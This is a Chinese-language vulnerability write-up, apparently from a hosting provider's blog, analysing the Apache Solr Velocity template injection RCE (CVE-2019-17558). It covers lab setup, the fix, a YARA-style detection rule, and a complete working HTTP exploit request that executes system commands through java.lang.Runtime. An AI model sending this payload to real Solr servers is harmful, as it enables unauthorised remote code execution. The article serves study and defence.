您好,登录后才能下订单哦!
# Apache Solr Velocity模板注入RCE漏洞示例分析
## 漏洞背景
Apache Solr是一个基于Lucene构建的高性能开源搜索平台,广泛应用于企业级搜索场景。2019年10月,安全研究人员披露了Solr的一个严重安全漏洞(CVE-2019-17558),该漏洞允许攻击者通过Velocity响应编写器(VelocityResponseWriter)的模板注入功能实现远程代码执行(RCE)。
## 漏洞原理
### Velocity模板引擎简介
Velocity是Apache旗下的模板引擎,允许开发者通过模板语言动态生成内容。Solr通过`VelocityResponseWriter`组件支持Velocity模板渲染功能。
### 漏洞触发条件
当同时满足以下条件时漏洞存在:
1. Solr配置启用了`VelocityResponseWriter`
2. 攻击者能够控制模板参数(特别是`v.template`和`v.template.xxx`参数)
3. Solr版本在受影响范围内(5.0.0至8.3.1)
### 核心问题
Velocity模板中允许执行Java代码,而Solr未对用户输入的模板内容进行严格过滤,导致攻击者可以注入恶意模板代码。
## 环境搭建
### 实验环境
- 操作系统:Ubuntu 20.04
- Java版本:OpenJDK 1.8.0_312
- Solr版本:8.2.0(漏洞版本)
```bash
# 下载Solr 8.2.0
wget https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz
tar xzf solr-8.2.0.tgz
cd solr-8.2.0
# 启动Solr(以单机模式运行)
bin/solr start -c -force
bin/solr create -c test_core -force
访问以下URL确认Velocity功能正常:
http://localhost:8983/solr/test_core/select?q=test&wt=velocity
通过注入Velocity模板执行系统命令:
GET /solr/test_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983
响应中将包含id
命令的执行结果,例如:
uid=1000(solr) gid=1000(solr) groups=1000(solr)
org.apache.solr.response.VelocityResponseWriter
类负责处理Velocity模板渲染:
public class VelocityResponseWriter implements QueryResponseWriter {
public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) {
// ...
String template = request.getParams().get("v.template");
// 未对模板内容进行安全过滤
velocityEngine.evaluate(context, writer, templateName, templateContent);
}
}
v.template
参数控制模板内容Apache Solr在8.4.0版本中通过以下方式修复:
1. 默认禁用Velocity模板渲染
2. 增加params.resource.loader.enabled
配置项
3. 限制模板文件必须位于指定目录
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<bool name="solr.resource.loader.enabled">false</bool>
</queryResponseWriter>
rule solr_velocity_rce {
strings:
$pattern = /v\.template.*(runtime|exec|processbuilder)/i
condition:
$pattern
}
本文详细分析了Apache Solr Velocity模板注入RCE漏洞的成因、利用方式和防御方案。该漏洞再次提醒我们: - 模板引擎的安全配置至关重要 - 用户输入必须经过严格验证 - 及时更新组件是安全运维的基本要求
安全研究人员建议所有Solr用户立即检查是否启用VelocityResponseWriter,并按照官方指南进行安全配置。
”`
注:本文为技术研究用途,实际测试请确保获得系统所有者授权,遵守相关法律法规。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。